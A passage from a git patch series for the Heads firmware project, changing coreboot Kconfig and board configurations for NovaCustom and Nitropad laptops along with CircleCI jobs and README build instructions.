b/src/northbridge/intel/ironlake/Kconfig +@@ -47,6 +47,10 @@ config ECAM_MMCONF_BASE_ADDRESS + config ECAM_MMCONF_BUS_NUMBER + default 256 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config INTEL_GMA_BCLV_OFFSET + default 0x48254 + +diff --git a/src/northbridge/intel/pineview/Kconfig b/src/northbridge/intel/pineview/Kconfig +index 877812643a..59cfcd5e0a 100644 +--- a/src/northbridge/intel/pineview/Kconfig ++++ b/src/northbridge/intel/pineview/Kconfig +@@ -38,4 +38,8 @@ config FIXED_DMIBAR_MMIO_BASE + config FIXED_EPBAR_MMIO_BASE + default 0xfed19000 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + endif +diff --git a/src/northbridge/intel/sandybridge/Kconfig b/src/northbridge/intel/sandybridge/Kconfig +index f7d56c7503..fa40b0668d 100644 +--- a/src/northbridge/intel/sandybridge/Kconfig ++++ b/src/northbridge/intel/sandybridge/Kconfig +@@ -104,6 +104,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default ECAM_MMCONF_BASE_ADDRESS ++ + config DCACHE_RAM_BASE + hex + default 0xfefe0000 +diff --git a/src/northbridge/intel/x4x/Kconfig b/src/northbridge/intel/x4x/Kconfig +index 9af063819b..097e11126c 100644 +--- a/src/northbridge/intel/x4x/Kconfig ++++ b/src/northbridge/intel/x4x/Kconfig +@@ -28,6 +28,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 256 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config SMM_RESERVED_SIZE + hex + default 0x100000 +-- +2.39.2 + From 602e281f2f24cb2d7b7583ced9969fb802ff2ea0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 11 Dec 2024 18:43:36 +0100 Subject: [PATCH 374/619] config/coreboot-novacustom-v5.0tu.config: add bootsplash MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Thierry Laurion Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 7 ++++++- config/coreboot-novacustom-v560tu.config | 9 +++++++-- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index a4940ba37..7da904d9b 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -35,7 +35,12 @@ CONFIG_HAVE_ASAN_IN_RAMSTAGE=y # CONFIG_NO_STAGE_CACHE is not set CONFIG_TSEG_STAGE_CACHE=y # CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set # diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index debec074f..7de172445 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -35,7 +35,12 @@ CONFIG_HAVE_ASAN_IN_RAMSTAGE=y # CONFIG_NO_STAGE_CACHE is not set CONFIG_TSEG_STAGE_CACHE=y # CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set # @@ -156,8 +161,8 @@ CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 # # CONFIG_BOARD_CLEVO_V540TNX is not set # CONFIG_BOARD_CLEVO_V560TNX is not set +# CONFIG_BOARD_CLEVO_V540TU is not set CONFIG_BOARD_CLEVO_V560TU=y -# CONFIG_BOARD_CLEVO_V560TU is not set # # Tiger Lake U From fa0f90cbecfd4b8e545c2a77bc5338e033652f2c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 17 Dec 2024 11:23:30 -0500 Subject: [PATCH 375/619] Put usage of ./docker_repro.sh (docker images with docker-ce) first --- README.md | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c8d6bc24e..1dece18fa 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,16 @@ Contributing We welcome contributions to the Heads project! Before contributing, please read our [Contributing Guidelines](CONTRIBUTING.md) for information on how to get started, submit issues, and propose changes. -Building heads +Building heads with prebuilt and versioned docker images +== + +Heads now builds with Nix built docker images since https://github.com/linuxboot/heads/pull/1661. + +The short path to build Heads is to do what CircleCI would do (./docker_repro.sh under heads git cloned directory): +- Install _docker-ce_ for your OS of choice (refer to their documentation) +- run `./docker_repro.sh make BOARD=XYZ` + +Using Nix local dev environement / building docker images with Nix == Under QubesOS? From 6ee05c3dcef136a2f889e4a7fd340c0f220d0e3e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Dec 2024 17:46:58 -0500 Subject: [PATCH 376/619] CircleCI: Add v560tu missing into https://github.com/linuxboot/heads/pull/1846 Redoing diffs already proposed under https://github.com/linuxboot/heads/pull/1871 but not taken yet.... Signed-off-by: Thierry Laurion --- .circleci/config.yml | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 1db3a88df..478f6e385 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -254,7 +254,7 @@ workflows: target: novacustom_nv4x_adl subcommand: "" requires: - - x86-musl-cross-make + - x230-hotp-maximized # coreboot talos_2 - build_and_persist: @@ -510,7 +510,7 @@ workflows: requires: - librem_14 - # dasharo release + # dasharo release, share 24.02.01 utils/crossgcc - build: name: nitropad-ns50 target: nitropad-ns50 @@ -518,6 +518,13 @@ workflows: requires: - novacustom_nv4x_adl + - build: + name: novacustom-v5460tu + target: novacustom-v560tu + subcommand: "" + requires: + - novacustom_nv4x_adl + - build: name: novacustom-v540tu target: novacustom-v540tu @@ -525,6 +532,7 @@ workflows: requires: - novacustom_nv4x_adl + # coreboot 4.11 - build: name: UNMAINTAINED_kgpe-d16_workstation From fffc3a88c40d857ab568e73f33e6d8cd02ee4bbb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Dec 2024 17:55:46 -0500 Subject: [PATCH 377/619] v540tu/v560tu: remove MSRTOOL, reuse proposed changes not taken from https://github.com/linuxboot/heads/pull/1871 for https://github.com/linuxboot/heads/pull/1846 Signed-off-by: Thierry Laurion --- boards/novacustom-v540tu/novacustom-v540tu.config | 11 ++++++----- boards/novacustom-v560tu/novacustom-v560tu.config | 11 ++++++----- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index bbd9f2592..54a72ad0e 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -28,7 +28,12 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -CONFIG_MSRTOOLS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + #Remote attestation support # TPM2 requirements CONFIG_TPM2_TSS=y @@ -69,7 +74,3 @@ export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V540TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 - -#platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING=y diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index eb92388c9..1e6e59725 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -28,7 +28,12 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -CONFIG_MSRTOOLS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + #Remote attestation support # TPM2 requirements CONFIG_TPM2_TSS=y @@ -69,7 +74,3 @@ export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V540TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 - -#platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING=y From bf06be9017b87eae3d89c422b70ee38926fc21b8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Dec 2024 17:57:06 -0500 Subject: [PATCH 378/619] config/coreboot-novacustom-v560tu.config: reuse changes proposed under https://github.com/linuxboot/heads/pull/1871 but not yet taken under https://github.com/linuxboot/heads/pull/1846 BOOTSPLASH section missing, as well as ME still enabled... Signed-off-by: Thierry Laurion --- config/coreboot-novacustom-v560tu.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index 7de172445..77b5347a3 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -549,7 +549,7 @@ CONFIG_EC_SYSTEM76_EC=y # # Intel Firmware # -# CONFIG_IFDTOOL_DISABLE_ME is not set +CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y # CONFIG_STITCH_ME_BIN is not set # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set From b98492377c56a1984ccc44a20ae86f19715fb920 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Dec 2024 19:24:56 -0500 Subject: [PATCH 379/619] v560tu/v540tu board configs: adapt FLASH_OPTIONS to not overwrite GBE region, document S3/S01x/Hibernation limitation which is lackking from https://github.com/linuxboot/heads/pull/1846 Signed-off-by: Thierry Laurion --- boards/novacustom-v540tu/novacustom-v540tu.config | 7 ++++++- boards/novacustom-v560tu/novacustom-v560tu.config | 7 ++++++- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index 54a72ad0e..c95d05861 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -1,4 +1,9 @@ # NovaCustom V54 MTL (integrated graphics) board configuration +# Note the FLASH_OPTIONS: '--ifd -i bios -i me -i fd' +# This excludes gbe from internal flashing, otherwise mac address would revert to '88:88:88:88:87:88' see https://github.com/linuxboot/heads/pull/1871#discussion_r1870134788 +# Same options should be used when externally flashing the first time, otherwise Intel GBE region (Ethernet config blob) will be overwitten and MAC reverted to '88:88:88:88:87:88' + +# Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable ME/CSME for s01x to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo @@ -72,5 +77,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V540TU" -export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index 1e6e59725..51699c4a9 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -1,4 +1,9 @@ # NovaCustom V54 MTL (integrated graphics) board configuration +# Note the FLASH_OPTIONS: '--ifd -i bios -i me -i fd' +# This excludes gbe from internal flashing, otherwise mac address would revert to '88:88:88:88:87:88' see https://github.com/linuxboot/heads/pull/1871#discussion_r1870134788 +# Same options should be used when externally flashing the first time, otherwise Intel GBE region (Ethernet config blob) will be overwitten and MAC reverted to '88:88:88:88:87:88' + +# Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable ME/CSME for s01x to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo @@ -72,5 +77,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V540TU" -export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" export CONFIG_AUTO_BOOT_TIMEOUT=5 From a09b64d390429094b4df1ed4e983769e14e29d0b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 11 Dec 2024 11:05:43 -0500 Subject: [PATCH 380/619] v560tu/v540tu coreboot configs: add bootsplash, remove ME HAP bit to be applied by IFDTOOL to https://github.com/linuxboot/heads/pull/1846 Signed-off-by: Thierry Laurion --- config/coreboot-novacustom-v560tu.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index 77b5347a3..7de172445 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -549,7 +549,7 @@ CONFIG_EC_SYSTEM76_EC=y # # Intel Firmware # -CONFIG_IFDTOOL_DISABLE_ME=y +# CONFIG_IFDTOOL_DISABLE_ME is not set CONFIG_HAVE_ME_BIN=y # CONFIG_STITCH_ME_BIN is not set # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set From f45452b7368e347fa064831ce778e9deaf55ed7d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 11 Dec 2024 13:50:41 -0500 Subject: [PATCH 381/619] nv4x_adl/ns50 coreboot config bumped to 24.02.01 with save in old config helper Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 52 +++++++++++++++++----- config/coreboot-novacustom_nv4x_adl.config | 52 +++++++++++++++++----- 2 files changed, 80 insertions(+), 24 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index f7f950589..d777c25bd 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y # CONFIG_STATIC_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -79,6 +80,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set @@ -147,6 +149,7 @@ CONFIG_TPM_PIRQ=0x27 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x20000 CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" @@ -161,7 +164,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -191,7 +193,7 @@ CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x10000 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -207,6 +209,7 @@ CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set CONFIG_COREBOOT_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=32768 @@ -233,7 +236,6 @@ CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe03e000 CONFIG_SMM_TSEG_SIZE=0x800000 @@ -243,6 +245,8 @@ CONFIG_ACPI_BERT=y CONFIG_ACPI_BERT_SIZE=0x10000 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_SOC_INTEL_ALDERLAKE=y @@ -273,12 +277,11 @@ CONFIG_SOC_INTEL_UART_DEV_MAX=7 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Fsp.fd" +CONFIG_FSP_FD_PATH="3rdparty/fsp/RaptorLakeFspBinPkg/Client/RaptorLakeP/Fsp.fd" CONFIG_SOC_INTEL_ALDERLAKE_DEBUG_CONSENT=0 CONFIG_DATA_BUS_WIDTH=128 CONFIG_DIMMS_PER_CHANNEL=2 CONFIG_MRC_CHANNEL_WIDTH=16 -CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y CONFIG_SI_DESC_REGION="SI_DESC" CONFIG_SI_DESC_REGION_SZ=4096 @@ -295,9 +298,11 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_CPU_MAX_TEMPERATURE=100 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_INTEL_TME=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 @@ -382,6 +387,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y # CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set +# CONFIG_SOC_INTEL_COMMON_OC_WDT_WDAT is not set CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y @@ -403,10 +409,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y -# CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set -# CONFIG_ENABLE_TCSS_USB_DETECTION is not set +# CONFIG_TCSS_HAS_USBC_OPS is not set CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -416,6 +420,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y # CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y @@ -437,7 +443,6 @@ CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y # Intel SoC Common coreboot stages and non-IP blocks # CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y CONFIG_SOC_INTEL_COMMON_RESET=y CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y CONFIG_PAVP=y @@ -506,6 +511,7 @@ CONFIG_RCBA_LENGTH=0x4000 # CONFIG_EC_ACPI=y CONFIG_EC_SYSTEM76_EC=y +# CONFIG_EC_SYSTEM76_EC_UPDATE is not set # # Intel Firmware @@ -532,6 +538,7 @@ CONFIG_BIOS_VENDOR="3mdeb" # Dasharo Configuration # CONFIG_DASHARO_PREFER_S3_SLEEP=y +# CONFIG_DASHARO_FIRMWARE_UPDATE_MODE is not set # end of Dasharo Configuration CONFIG_UDK_BASE=y @@ -548,7 +555,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -585,7 +595,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -596,8 +606,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -667,7 +675,12 @@ CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y CONFIG_FSP_ENABLE_SERIAL_DEBUG=y CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_INTEL_GMA_VERSION_2=y CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set @@ -679,6 +692,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V2=y CONFIG_DRIVERS_INTEL_USB4_RETIMER=y @@ -719,6 +733,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -738,6 +753,7 @@ CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y # CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security @@ -752,6 +768,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -815,6 +832,13 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" + +# +# Dasharo specific payload options +# +# end of Dasharo specific payload options + +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -839,6 +863,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-novacustom_nv4x_adl.config b/config/coreboot-novacustom_nv4x_adl.config index a8bea3cce..d36edb6b0 100644 --- a/config/coreboot-novacustom_nv4x_adl.config +++ b/config/coreboot-novacustom_nv4x_adl.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y # CONFIG_STATIC_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 